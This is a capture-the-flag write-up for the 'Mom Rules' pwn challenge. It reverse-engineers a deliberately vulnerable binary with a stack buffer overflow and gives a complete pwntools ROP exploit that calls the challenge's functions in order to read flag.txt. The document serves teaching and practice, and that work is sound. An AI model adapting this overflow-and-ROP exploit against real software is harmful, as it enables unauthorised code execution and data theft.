Ramadan CTF 2026 - Mom Rules
[ Mom Rules ] Writeup
Category: Pwn (Buffer Overflow + ROP)
Difficulty: Easy-Medium
Author: 4n7h4r4x
Access all challenges here:
GitHub Repository
Tools Used
ghidra/gdb/objdumpfor reverse engineeringropperfor finding gadgetspython3 (pwntools)for exploit scripting
Overview
Before the family gathers for iftar, your mom asks you to do 3 tasks in the right order. But wait – the program tells you the wrong order! You need to figure out the correct sequence using ROP to earn your mom’s reward (the flag).
Initial Recon
Running file and checksec:
The binary is non-PIE, 64-bit, and not stripped – all symbol names are visible. No canary, so we can overflow freely.
Reverse Engineering
The binary has these key functions:
chall()– Prints a story about mom’s 3 tasks, then reads0x1000bytes into a0x40-byte buffer. Massive overflow!clean_room(rdi, rsi, rdx)– Computesfd = (rdi - rsi) * rdxand stores it in the globalfdvariable. Prints “Im gonna try to clean my room”.wash_hands(rdi, rsi)– Computesrdi % rsi(remainder), so we need the send a value in both rdi and rsi where we want to be the result of rdi%rsi = number which needs to be 0 so it opens successfully its not directly easy to notice this in ghidra so we can always go to the assembly instructions and verify ! , then callsopen("flag.txt", number, 0)and stores the returned file descriptor infd. Prints “Now im gonna wash my hands”.prepare_table(rdi)– Callsread(fd, reward, rdi)which reads from the opened file descriptor into the globalrewardbuffer. Prints “Last thing i need to help my mom preparing the table”.
mom_reward()– Prints the contents of therewardbuffer (the flag!).pop_gadgets()– A convenient function containingpop rcx; ret,pop rdx; ret,pop rsi; ret,pop rdi; ret,pop r10; retgadgets.
The program lies about the task order! It says: “1- prepare table, 2- wash hands, 3- clean my room”. But the correct order is determined by the data flow:
clean_room– Sets up thefdglobal (computes a value from its arguments)wash_hands– Opensflag.txtusing thenumberglobal, stores the real fdprepare_table– Reads from that fd into therewardbuffermom_reward– Prints the flag
Exploitation Plan
The overflow in chall() gives us full RIP control. We need to build a ROP chain that calls the functions in the correct order with the right arguments.
The challenge kindly provides pop_gadgets() with all the pop gadgets we need:
1
2
3
4
0x40116a: pop rcx; ret
0x40116c: pop rdx; ret
0x40116e: pop rsi; ret
0x401170: pop rdi; ret
Working Out the Arguments
clean_room(rdi, rsi, rdx): stores(rdi - rsi) * rdxintofd. We need this to produce a valid value foropen()later. Sincewash_handswill overwritefdwith the actual file descriptor fromopen(), the exact value here doesn’t matter much – we just needclean_roomto not crash.wash_hands(rdi, rsi): callsopen("flag.txt", number, 0). Thenumberglobal is set based onrdi % rsi. We need flags =0(O_RDONLY). The simplest approach: set arguments so the division works cleanly.prepare_table(rdi): callsread(fd, reward, rdi). We set rdi to a reasonable size like0x40(64 bytes) to read the flag.
Tip: The buffer is
0x40bytes and there’s a saved RBP, so the offset to RIP is0x40 + 0x8 = 0x48bytes.
Solution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context.binary = elf = ELF("./mom_rules", checksec=False)
p = elf.process()
# p = remote("tcp.espark.tn" , 1100)
pop_rdi = p64(0x401170)
pop_rsi = p64(0x40116e)
pop_rdx = p64(0x40116c)
ret = p64(0x401016)
clean_room = p64(elf.sym.clean_room)
wash_hands = p64(elf.sym.wash_hands)
prepare_table = p64(elf.sym.prepare_table)
mom_reward = p64(elf.sym.mom_reward)
# Offset to RIP: 0x40 (buffer) + 0x8 (saved rbp)
offset = 0x48
pay = b"A" * offset
# Step 1: clean_room(1, 1, 1) -> fd = (1-1)*1 = 0
pay += pop_rdi + p64(1) + pop_rsi + p64(1) + pop_rdx + p64(1) + clean_room
# Step 2: wash_hands(1, 1) -> opens flag.txt with O_RDONLY, stores fd
pay += pop_rdi + p64(1) + pop_rsi + p64(1) + wash_hands
# Step 3: prepare_table(0x40) -> read(fd, reward, 0x40)
pay += pop_rdi + p64(0x40) + prepare_table
# Step 4: mom_reward() -> prints the flag
pay += ret + mom_reward
p.recvuntil(b":(")
p.sendline(pay)
p.interactive()
Key Takeaways
- Don’t trust the program’s instructions! The binary deliberately tells you the wrong order. Always reverse engineer the actual logic.
- ROP chains let you call existing functions in any order with controlled arguments, even without shellcode.
- When a binary provides a
pop_gadgets()function, it’s a clear hint that you’re expected to use ROP. - Data flow analysis is key: trace how global variables (
fd,reward,number) flow between functions to determine the correct call order.
Helpful Resources
Thanks for reading!











